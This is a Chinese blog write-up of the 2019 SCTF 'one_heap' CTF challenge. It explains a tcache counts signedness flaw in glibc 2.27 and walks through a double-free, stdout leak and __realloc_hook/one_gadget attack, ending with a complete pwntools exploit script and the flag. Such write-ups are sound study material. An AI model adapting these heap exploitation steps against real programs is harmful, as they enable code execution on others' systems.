pollux's Dairy

2019-SCTF-one_heap[tcache的counts中存在的数据类型判断漏洞]

字数统计: 856阅读时长: 5 min
2019/06/25 Share

SCTF跟着Koo师傅学习一波,记录一下学到的新东西

0x00 tcache的counts中存在的数据类型判断漏洞

在tcache涉及的数据结构中

1
2
3
4
5
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

counts定义为一个字符数组,记录每个tcache链中tcache的数量,在C语言中并没有char类型的常量(但是在C++中却有,字符常量都是char类型),其实是用int表示char,所以这个counts是一个有符号整型变量(-128~127)

在int_free函数中,把chunk放入tcache时,会判断待放入的tcache链是否小于mp_.tcache_count,一般为7

1
2
3
4
5
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}

查看源码,tcache_count是一个size_t类型的变量,也就是无符号长整型,那么上述的判断就变为 char型的counts 是否小于unsigned long int型的tcache_count ,就会把counts变量转为无符号的长整型进行比较

如果此时的counts大小为-1(0xff),被转成无符号的长整型后就变成255(0xff),那么就会使上述判断失效,在tcache的counts变成-1后,就会将之后free的chunk,放入unsortedbin中

有什么用呢?

当我们double free一个chunk后,tcache会的得到一个自循环的链表,tcache的counts是2

image-20190625164845982

连续申请两次后,counts会变成0

image-20190625164941616

再申请一次后,发现其counts变成了0xff,此时再次free该chunk,chunk就会进入unsortedbin中

image-20190625165039690

0x01 程序分析

2.27版本的libc,保护全开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

程序有两个功能:1. new 2. delete

delete时只能free最近使用的chunk,且free后没有清空指针

程序唯一难点是只能free4次

0x02 利用分析

1、double free tcache,patrial overwrite main_arena的地址,将tcache的fd指针指向 _IO_2_1_stdout_ 文件流,修改flags和write_base,泄露libc地址

2、再次double free tcache,因为直接使用one_gadget因为环境变量问题,不能getshell,所以先将tcache的fd指针改写为 __realloc_hook 地址,因为__malloc_hook__realloc_hook 地址相邻,所以改写 __realloc_hook 内容为one_gadget,改写 __malloc_hook 内容为 __libc_realloc 函数的地址,这样程序调malloc时,就会调用 __libc_realloc ,该函数抬栈(push操作)后,会调用 __realloc_hook 中的内容,也就是写入的gadgets

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#p=process("./one_heap")
p=remote("47.104.89.129",10001)
context.log_level="debug"
def add(size,content="\n"):
p.sendlineafter("choice","1")
p.sendlineafter("size",str(size))
if size:
p.sendafter("content",content)
def dele():
p.sendlineafter("choice","2")
libc=ELF("./libc-2.27.so",checksec=False)
def q():
gdb.attach(p)
raw_input('test')
def pwn():
add(0x7f)
dele()
dele()
add(0x3f,(p64(0x90)+p64(0x20))*3+"\n")
dele()
add(0x7f)
add(0x7f)
add(0x7f)
dele()
add(0x20,"\x50\xf7\n")#1
add(0x7f,"\x00"*0x28+p64(0x91)+"\n")
add(0x7f,p64(0)*2+p64(0xfbad1800)+p64(0)*3+"\x90\n")
libc_base=0
libc_base=u64(p.recvuntil("\x7f",timeout=0.3)[-6:].ljust(8,'\0'))-0x3ec7e3
success("libc base :"+hex(libc_base))
add(0x7f,'\x00'*0x60+p64(libc_base+libc.symbols['__realloc_hook'])+"\n")
add(0x3f)
add(0x3f,p64(libc_base+0x4f2c5)+p64(libc_base+libc.symbols['__libc_realloc']+2)+'\n')
add(0x50,'aaaa')
p.interactive()


while True:
try:
pwn()
break
except:
p.close()
p=remote("47.104.89.129",10001)

#sctf{TCAch3_So000o0o_3asY}
CATALOG
  1. 1. 0x00 tcache的counts中存在的数据类型判断漏洞
  2. 2. 0x01 程序分析
  3. 3. 0x02 利用分析
  4. 4. 0x03 EXP